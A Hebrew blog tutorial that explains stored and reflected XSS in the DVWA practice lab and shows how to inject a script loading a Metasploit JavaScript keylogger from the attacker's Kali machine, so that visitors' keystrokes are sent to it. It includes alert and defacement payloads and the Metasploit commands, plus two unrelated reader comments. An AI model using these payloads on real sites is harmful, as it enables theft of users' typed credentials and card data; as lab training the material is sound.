כל הזכויות שמורות לטל בן שושן – Shushan.co.il
הסבר על XSS ושימוש בו לביצוע Key Logger
על מנת לבצע מאמר זה, יש תחילה לקרוא את המאמרים הבאים:
הסבר והתקנת DVWA
הסבר הגדרה והפעלת Metasploit
פקודות ושימוש ב Metasploit
במאמר זה אסביר על XSS וכיצד להשתמש בו על מנת לבצע Key Logging.
XSS – Cross Site Scripting
XSS הוא התקפת הזרקה, באתרים, אפליקציות וכו' בהם ניתן להזריק מידע (קוד זדוני) אל תוך תא או טופס לרוב טופס בקשה.
הרשמה למשל או התחברות, השארת הודעה או השארת פוסט באתר יכולים להוות אזור בו ניתן לבצע XSS.
ברגע שהתוקף מזריק את הקוד, הוא יכול להזריק קוד זדוני, בו הוא מבקש מהשתמש את ה Cookie שלו שהוא מחובר לאתר, יכול לבקש ממנו להריץ קוד שמשדר את כל מה שהוא כותב באתר (כרטיס אשראי, הודעה סודית וכו') וכך למעשה מסכן את המשתמשים באתר.
על פי חברת Wordfence (ממליץ עליהם כמערכת הגנה על WordPress)
XSS מדורג עם הכי הרבה פגועיות הקיימים באתרים
מדוע הוא מדורג כזה גבוהה? אתר כמו וורדפרס מורכב מהמון Pugins ואתרים אחרים מתעדכנים באופן קבוע על ידי המתכנת \ המתכנתים וכאשר אתם מורידים פלגין או המתכנת שכח "להגביל" את התא \ טופס נוצר XSS וברגע שנוצרה חולשת הXSS האתר כולו הופך לפגיע גם אם זה בטופס הקטן ביותר.
XSS אפשר לקטלג ב2 צורות XSS Stored ו XSS Rflected
- XSS Stored – הקוד הזדוני שמוזן אל תוך הטופס, נשאר בתוך הרשת, נאמר ויש אתר אשר דומה לפייסבוק, הזנתם את ה Hello המפורסם (מוסבר בהמשך) והופ XSS כנראה יכול לעבוד, אתם מזינים סקריפ זדוני ושולחים אותו נאמר כפוסט, האם הפוסט הזה נשמר על השרת? כן… ולכן כל משתמש שיטען את העמוד \ פוסט יטען גם את הקוד הזדוני.
כך למעשה המשתמש לא יודע שזה קוד זדוני ולכן יטען אותו.
למשל בDVWA בלשונית XSS Stored ניתן להבחין ב"ספר האורחים" ספר זה כשמו, אורח מגיע לאתר ויכול להשאיר הודעה לבעל האתר או לרגל איזה מאורע שהאתר מציין.
כאשר המידע מוזן למערכת הוא נשמר בשרת
בתמנוה כאן ניתן לראות שכבר "משתמש" אחר הזין תוכן למערכת
כעת על מנת לבדוק אם XSS יעבוד, צריך לבדוק האם המתכנת של הטופס השאיר את הטופס "כReflected Arguments" זאת אומרת שברגע שהמשתמש הקיש כל דבר לטופס \ תא , המידע מוחזר אל המשתמש בדף עצמו והדף עצמו מריץ את הכתוב כ-קוד
אך נידע שהמידע מוחזר כקוד? נבצע סקריפט Hello פשוט ונבדוק אם נקבל הודעה קופצת, שכן זאת אומרת שהמפתח לא הגביל את המידע המוזן לטופס
נקיש
<script>alert("Hello")</script>
נלחץ על Sign Guestbook
תוכלו להבחין שכל פעם שתלחצו על לשונית אחרת ותחזרו ללשונית הזו, יקפוץ לכם אותו Hello שיצרתם, שכן הדפדפן שלכם קורא את הסקריפט בכל פעם בעמוד זה.
- XSS Relected – הוא טופס \ תא בו המידע יכול לחזור אליכם, לדוגמה נחפש טופס שבו המידע שאנו נזין חוזר אלינו, בין אם זה בשגיאה
נאמר הזנתם שם ארוך מידי, אז המערכת תחזיר taltaltaltaltal is too long MAX 15 Characters ברגע שהמערכת החזירה את השם שהזנו בטופס עצמו, יכול להיות שניתן להריץ XSS שכן אם הטופס לא מונע הרצת קוד בתוכו, ניתן להריץ בתוכו קוד.
למשל בDVWA ב XSS Reflected נכנס ונזין את השם שלכם
ניתן להבחין שאנחנו מקבלים את השם שלנו מוחזר בטופס
השאלה, האם ניתן להריץ בתוכו סקריפטים?
נזין את אותו הסקריפט שמקודם הזנו
<script>alert("Hello")</script>
מעולה!
דוגמאות לקוד זדוני:
שינוי האתר
<script>document.body.innerHTML("Tal Was Here");</script>
הגנה
אם תרצו להגן על שדות מפני XSS ואינכם מבינים ממש בקוד, תוכלו לקרוא את המאמר של OWASP
https://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting
במאמר זה מוסבר על דרכי הגנה.
Key Logger – Loggins
Key Logger הוא "כלי" \ "יכולת" לקבל Output של כל מה המשתמש מקיש במחשב שלו, במאמר זה נראה כיצד אפשר לבצע זאת על ידי XSS Stored
דרישות:
- הבנה ב Metasploit וKali מותקן
- DVWA מותקן
נפעיל את Metasploit
sudo msfconsole
ניגש ל
use auxiliary/server/capture/http_javascript_keylogger set uripath tal set srvport 80 exploit
- אם פורט 80 תפוס, סגרו את שירות ה Apache או בחרו פורט אחר (אבל אל תשכחו אחרי זה להוסיף אותו אחרי כתובת ה IP:)
נעבור ב DVWA ל XSS Stored
קליק ימני על התא של Message (באמצע ממש איפה שכותבים) ואז Inspect Element
שנו את הערך מ50 ל 200 (את maxlength) כך שלא נוגבל ל50 תווים
נזין את הסקריפט
- כתובת ה IP היא של שרת ה Kali שכן אנו רוצים שהמידע יזרום אל שרת הקאלי
- אם שינתם את הפקודה למעלה של ה set uripath tal במקום tal לשם שלכם, שנו את זה גם כאן
<script type="text/javascript" src="http://192.168.31.162/tal/test1.js"></script>
כעת לחצו על sign guestbook
כעת כתבו בתוך ה guestbook מה שבא לכם, ובחלון הטרמינל של Kali המידע יופיע
2 comments
Hi! I realize this is kind of off-topic but I needed to ask.
Does operating a well-established website like yours take a large amount of work?
I'm completely new to blogging however I do
write in my journal on a daily basis. I'd like to start
a blog so I can easily share my experience and thoughts online.
Please let me know if you have any recommendations or tips for
brand new aspiring bloggers. Thankyou!
what is your email?